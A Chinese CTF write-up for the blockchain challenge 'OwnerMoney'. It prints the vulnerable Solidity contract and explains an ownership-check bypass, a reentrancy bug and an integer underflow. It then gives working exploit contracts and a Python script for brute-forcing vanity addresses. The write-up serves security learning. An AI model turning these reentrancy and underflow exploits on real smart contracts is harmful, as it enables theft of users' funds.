xctf 高校站“疫” 区块链 OwnerMoney

释放双眼,带上耳机,听听看~!

Source

pragma solidity ^0.4.23;

interface Changing {
    function isOwner(address) view public returns (bool);
}

contract OwnerMoney {
    
    address private owner;
    address private backup;
    
    mapping(address => uint) public balanceOf;
    mapping(address => bool) public status;
    mapping(address => uint) public buyTimes;
    
    constructor() {
        owner = msg.sender;
        backup = msg.sender;
    }
    
    event pikapika_SendFlag(string b64email);
    
    modifier onlyOwner(){
        require(msg.sender == owner);
        _;
    }
    
    function payforflag(string b64email) onlyOwner public {
        
        require(buyTimes[msg.sender] >= 100);
        _init();
        buyTimes[msg.sender] = 0;
        
        address(0x4cfbdFE01DAEF460B925773754821E7461750923).transfer(address(this).balance);
        emit pikapika_SendFlag(b64email);
        
    }
    
    function _init() internal {
        owner = backup;
    }
    
    function change(address _owner) public {
        Changing tmp = Changing(msg.sender);
        if(!tmp.isOwner(_owner)){
            status[msg.sender] = tmp.isOwner(_owner);
        }
    }
    
    function change_Owner() {
        
        require(tx.origin != msg.sender);
        require(uint(msg.sender) & 0xfff == 0xfff);
        
        if(status[msg.sender] == true){
            status[msg.sender] = false;
            owner = msg.sender;
        }
    }
    
    function _transfer(address _from, address _to, uint _value) internal {
        require(_to != address(0x0));
        require(_value > 0);
        
        uint256 oldFromBalance = balanceOf[_from];
        uint256 oldToBalance = balanceOf[_to];
        
        uint256 newFromBalance =  balanceOf[_from] - _value;
        uint256 newToBalance =  balanceOf[_to] + _value;
        
        require(oldFromBalance >= _value);
        require(newToBalance > oldToBalance);
        
        balanceOf[_from] = newFromBalance;
        balanceOf[_to] = newToBalance;
        
        assert((oldFromBalance + oldToBalance) == (newFromBalance + newToBalance));
    }
    
    function transfer(address _to, uint256 _value) public returns (bool success) {
        _transfer(msg.sender, _to, _value); 
        return true;
    }
    
    function buy() payable public returns (bool success){
        require(tx.origin != msg.sender);
        require(uint(msg.sender) & 0xfff == 0xfff);
        require(buyTimes[msg.sender]==0);
        require(balanceOf[msg.sender]==0);
        require(msg.value == 1 wei);
        balanceOf[msg.sender] = 100;
        buyTimes[msg.sender] = 1;
        return true;
    }
    
    function sell(uint256 _amount) public returns (bool success){
        require(_amount >= 200);
        require(buyTimes[msg.sender] > 0);
        require(balanceOf[msg.sender] >= _amount);
        require(address(this).balance >= _amount);
        msg.sender.call.value(_amount)();
        _transfer(msg.sender, address(this), _amount);
        buyTimes[msg.sender] -= 1;
        return true;
    }
    
    function balance0f(address _address) public view returns (uint256 balance) {
        return balanceOf[_address];
    }
    
    function eth_balance() public view returns (uint256 ethBalance){
        return address(this).balance;
    }
    
}

Analyse

  • 查看 payforflag ,我们需要成为 owner ,同时 buyTimes[msg.sender] >= 100
  • 想要成为 owner ,可以通过 change_owner 函数实现
    • change_owner 函数要求必须通过合约调用,而不是外部账户调用,同时要求合约地址最后三位是 0xfff ,可以参考文章结尾
    • status[msg.sender] 要求为 true :可以通过 change(address _owner) 解决,Changing 接口中声明了 isOwner 函数,用户可自行编写,要使 status[msg.sender] = true ,则 tmp.isOwner(_owner) 第一次调用需返回 false ,第二次调用返回 true ,所以就有了思路:设置一个初始值为 true 的变量,每次调用 isOwner() 时,将其取反再返回。这样便满足了我们是 owner ,只需再满足 buyTimes[msg.sender] >= 100
  • 发现只有 sell 函数,会有 buyTimes[msg.sender] -= 1 的操作,其实这是重入问题,这里需要满足 require(_amount >= 200) ,但是 buy 只能给 100 ,典型的薅羊毛问题,最后再利用整数下溢即可满足 buyTimes[msg.sender] >= 100

exp

pragma solidity ^0.4.23;

contract attack1 {
    
    address instance_address = 0xb9f9a887b06b54ab851928f3bc721b120876196b ;
    OwnerMoney target = OwnerMoney(instance_address);
    bool public flag = true;
    uint public have_sell = 0;
    
    constructor() payable {}
    
    function isOwner(address) public returns (bool){
        flag = !flag;
        return flag;
    }
    
    function hack1() {
        target.change(address(this));

        target.change_Owner();

        target.buy.value(1)();
    }
    
    function hack2() {
        target.sell(200);
    }
    
    function hack3(string b64email) {
        target.payforflag(b64email);
    }
    
    function() payable {
        if (have_sell < 1) {
            have_sell += 1;
            target.sell(200);
        }
    }
}

contract attack2 {
    address instance_address = 0xb9f9a887b06b54ab851928f3bc721b120876196b;
    OwnerMoney target = OwnerMoney(instance_address);
    
    constructor() payable {}
    
    function hack1() {
        target.buy.value(1)();
        target.transfer(0xde76c7f9fff36f128d153ee068ccd5a0e7b9afff,100);
    }

}

ethereum生成特定后缀账户的脚本

from ethereum import utils
import os, sys

# generate EOA with appendix 1b1b
def generate_eoa1():
    priv = utils.sha3(os.urandom(4096))
    addr = utils.checksum_encode(utils.privtoaddr(priv))

    while not addr.lower().endswith("1b1b"):
        priv = utils.sha3(os.urandom(4096))
        addr = utils.checksum_encode(utils.privtoaddr(priv))

    print('Address: {}nPrivate Key: {}'.format(addr, priv.hex()))


# generate EOA with the ability to deploy contract with appendix 1b1b
def generate_eoa2():
    priv = utils.sha3(os.urandom(4096))
    addr = utils.checksum_encode(utils.privtoaddr(priv))

    while not utils.decode_addr(utils.mk_contract_address(addr, 0)).endswith("1b1b"):
        priv = utils.sha3(os.urandom(4096))
        addr = utils.checksum_encode(utils.privtoaddr(priv))


    print('Address: {}nPrivate Key: {}'.format(addr, priv.hex()))


if __name__  == "__main__":
    if sys.argv[1] == "1":
        generate_eoa1()
    elif sys.argv[1] == "2":
        generate_eoa2()
    else:
        print("Please enter valid argument")
  • generate_eoa1 可以直接生成低四位为 1b1b 的外部账户
  • generate_eoa2 可以生成一个外部账户,该外部账户部署的第一个智能合约的地址低四位为 1b1b
网络安全质量好文

【隱私】如何在互聯網上保護自己的隱私?

2020-6-5 21:44:20

质量好文

RCTF2020 roiscoin

2020-6-7 14:17:27

2 条回复 A文章作者 M管理员
个人中心
购物车
优惠劵
有新私信 私信列表
搜索